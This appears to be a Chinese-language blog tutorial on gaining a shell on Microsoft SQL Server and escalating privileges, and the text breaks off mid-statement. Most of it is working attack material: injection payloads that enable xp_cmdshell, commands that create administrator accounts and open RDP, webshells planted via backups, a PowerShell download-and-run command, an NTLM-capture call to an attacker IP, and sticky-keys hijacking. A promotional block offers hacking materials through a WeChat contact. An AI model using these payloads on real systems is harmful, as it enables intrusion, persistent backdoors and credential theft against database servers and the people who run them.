MSSQL GetShell
擴展存盤程序
擴展存盤簡介
在MSSQL注入攻擊程序中,最長利用的擴展存盤如下
xp_cmdshell詳細使用方法:
xp_cmdshell默認在mssql2000中是開啟的,在mssql2005之后的版本中則默認禁止 ,如果用戶擁有管理員sysadmin 權限則可以用sp_configure重新開啟它
execute('sp_configure "show advanced options",1') # 將該選項的值設定為1
execute('reconfigure') # 保存設定
execute('sp_configure "xp_cmdshell", 1') # 將xp_cmdshell的值設定為1
execute('reconfigure') # 保存設定
execute('sp_configure') # 查看配置
execute('xp_cmdshell "whoami"') # 執行系統命令
?
exec sp_configure 'show advanced options',1; # 將該選項的值設定為1
reconfigure; # 保存設定
exec sp_configure 'xp_cmdshell',1; # 將xp_cmdshell的值設定為1
reconfigure; # 保存設定
exec sp_configure; # 查看配置
exec xp_cmdshell 'whoami'; # 執行系統命令
?
# 可以執行系統權限之后,前提是獲取的主機權限是administrators組里的或者system權限
exec xp_cmdshell 'net user Guest 123456' # 給guest用戶設定密碼
exec xp_cmdshell 'net user Guest /active:yes' # 激活guest用戶
exec xp_cmdshell 'net localgroup administrators Guest /add' # 將guest用戶添加到administrators用戶組
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' # 開啟3389埠
擴展存盤Getshell
-
條件
-
資料庫是 db_owner 權限
-
擴展存盤必須開啟,涉及到的的擴展存盤程序: xp_cmdshell、 xp_dirtree、 xp_subdirs、 xp_regread
1.查看是否禁用擴展存盤程序xp_cmdshell
id=0 union select 1,2,count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'--+
id=1 and 1=(select count(*) from master.sys.sysobjects where name='xp_cmdshell')--+
?
2.執行命令
id=1;exec master.sys.xp_cmdshell 'net user admin Admin@123 /add'--+
id=1;exec master.sys.xp_cmdshell 'net localgroup administrators admin /add'--+
差異備份GetShell
差異備份簡介
差異備份資料庫得到webshell,在sqlserver里dbo和sa權限都有備份資料庫權限,我們可以把資料庫備份稱asp檔案,這樣我們就可以通過mssqlserver的備份資料庫功能生成一個網頁小馬,
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
前提條件
-
具有db_owner權限
-
知道web目錄的絕對路徑
尋找絕對路徑的方法
-
報錯資訊
-
字典爆破
-
根據旁站目錄進行推測
-
存盤程序來搜索
在mssql中有兩個存盤程序可以幫我們來找絕對路徑:xp_cmdshell xp_dirtree
先來看xp_dirtree直接舉例子
execute master..xp_dirtree 'c:' --列出所有c:\檔案、目錄、子目錄
execute master..xp_dirtree 'c:',1 --只列c:\目錄
execute master..xp_dirtree 'c:',1,1 --列c:\目錄、檔案
當實際利用的時候我們可以創建一個臨時表把存盤程序查詢到的路徑插入到臨時表中
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
當利用xp_cmdshell時,其實就是呼叫系統命令來尋找檔案
例如:
?id=1;CREATE TABLE cmdtmp (dir varchar(8000));
?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'
-
讀組態檔
差異備份的大概流程
1.完整備份一次(保存位置當然可以改)
backup database 庫名 to disk = 'c:\ddd.bak';--+
?
**2.創建表并插入資料**
create table [dbo].[dtest] ([cmd] [image]);--+
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+
?
**3.進行差異備份**
backup database 庫名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+
?
# 上面0x3C25657865637574652872657175657374282261222929253E即一句話木馬的內容:<%execute(request("a"))%>
xp_cmdshell GetShell
原理很簡單,就是利用系統命令直接像目標網站寫入木馬
?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;
這里要注意 <和>必須要轉義,轉義不是使用\而是使用^
檔案下載getshell
當我們不知道一些網站絕對路徑時,我們可以通過檔案下載命令,加載遠程的木馬檔案,或者說.ps1腳本,使目標機器成功上線cs或者msf
MSSQL提權
存盤程序說明
xp_dirtree
用于顯示當前目錄的子目錄,有如下三個引數
directory:表示要查詢的目錄
depath:要顯示子目錄的深度,默認值是0,表示所有的子目錄
file:第三個引數,布爾型別,指定是否顯示子目錄中的檔案,默認值是0,標水不顯示任何檔案,只顯示子目錄



xp_dirtree 能夠觸發NTLM請求xp_dirtree '\\<attacker_IP>\any\thing'
xp_subdirs
用于得到給定的檔案夾內的檔案夾串列
exec xp_subdirs 'c:\'

xp_fixeddrives
用于查看磁盤驅動器剩余的空間
exec xp_fixeddrives

xp_availablemedia
用于獲得當前所有的驅動器
exec xp_availablemedia

xp_fileexist
用于判斷檔案是否存在
exec xp_fileexist 'c:\windows\123.txt'


xp_create_subdir
用于創建子目錄,引數是子目錄的路徑
exec xp_create_subdir 'c:\users\admin\desktop\test'

xp_delete_file
可用于洗掉檔案,但是不會洗掉任意型別的檔案,系統限制它只能洗掉特定型別(備份檔案和報表檔案)
-
第一個引數是檔案型別(File Type),有效值是0和1,0是指備份檔案,1是指報表檔案;
-
第二個引數是目錄路徑(Folder Path), 目錄中的檔案會被洗掉,目錄路徑必須以“\”結尾;
-
第三個引數是檔案的擴展名(File Extension),常用的擴展名是'BAK' 或'TRN';
-
第四個引數是Date,早于該日期創建的檔案將會被洗掉;
-
第五個引數是子目錄(Subfolder),bool型別,0是指忽略子目錄,1是指將會洗掉子目錄中的檔案;
xp_regenumkeys
可以查看指定的注冊表
exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'

xp_regdeletekey
洗掉指定的注冊表鍵值
EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';
xp_regwrite
描述:
修改注冊表
利用條件:
-
xpstar.dll
修改注冊表來劫持粘貼鍵(映像劫持)
(測驗結果 Access is denied,沒有權限)
exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
sp_addextendedproc
可以用于恢復組件
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'
sp_dropextendedproc
用于洗掉擴展存盤程序
exec sp_dropextendedproc 'xp_cmdshell'
xp_cmdshell
描述:
xp_cmdshell 是 Sql Server 中的一個組件,我們可以用它來執行系統命令,
利用條件:
-
擁有 DBA 權限, 在 2005 中 xp_cmdshell 的權限是 system,2008 中是 network,
-
依賴 xplog70.dll
-- 判斷當前是否為DBA權限,為1則可以提權
select is_srvrolemember('sysadmin');
?
-- 查看是否存在 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
?
-- 查看能否使用 xp_cmdshell,從MSSQL2005版本之后默認關閉
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'
?
-- 關閉 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
?
-- 開啟 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
?
-- 執行 xp_cmdshell
exec xp_cmdshell 'cmd /c whoami'
?
-- xp_cmdshell 呼叫cmd.exe用powershell 遠程下載exe并執行
exec xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell -ExecutionPolicy Bypass %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""'
無回顯,也無法進行dnslog怎么辦:
通過臨時表查看命令執行結果(在注入時,要能堆疊)
CREATE TABLE tmpTable (tmp1 varchar(8000));
insert into tmpTable(tmp1) exec xp_cmdshell 'ipconfig'
select * from tmpTable
如果 xp_cmdshell 被洗掉了:
如果 xp_cmdshell 被洗掉了,需要重新恢復或自己上傳 xplog70.dll 進行恢復
以mssql2012為例,默認路徑為:
C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\xplog70.dll
-- 判斷存盤擴展是否存在,回傳結果為1就OK
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
?
-- 恢復xp_cmdshell,回傳結果為1就OK
Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll';
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
?
-- 否則上傳xplog70.dll
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
sp_oacreate
描述:
使用sp_oacreate的提權陳述句,主要是用來呼叫OLE物件(Object Linking and Embedding的縮寫,VB中的OLE物件),利用OLE物件的run方法執行系統命令,
利用條件:
-
擁有DBA權限
-
依賴odsole70.dll
-- 判斷當前是否為DBA權限,為1則可以提權
select is_srvrolemember('sysadmin');
?
-- 判斷SP_OACREATE狀態,如果存在回傳1
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
?
-- 啟用 sp_oacreate
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures', 1;
reconfigure;
?
-- wscript.shell組件執行系統命令
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
?
-- 輸出執行結果到指定檔案
declare @ffffffff0x int
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\www\\1.txt'
?
-- 利用com組件執行命令
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
?
-- 利用com組件寫檔案
DECLARE @ObjectToken INT;
EXEC Sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}',@ObjectToken OUTPUT;
EXEC Sp_OASetProperty @ObjectToken, 'Type', 1;
EXEC sp_oamethod @ObjectToken, 'Open';
EXEC sp_oamethod @ObjectToken, 'Write', NULL, 0x66666666666666663078;
EXEC sp_oamethod @ObjectToken, 'SaveToFile', NULL,'ffffffff0x.txt',2;
EXEC sp_oamethod @ObjectToken, 'Close';
EXEC sp_OADestroy @ObjectToken;
?
-- 利用filesystemobject寫vb腳本 (目錄必須存在,否則也會顯示成功,但是沒有檔案寫入)
declare @o int, @f int, @t int, @ret int,@a 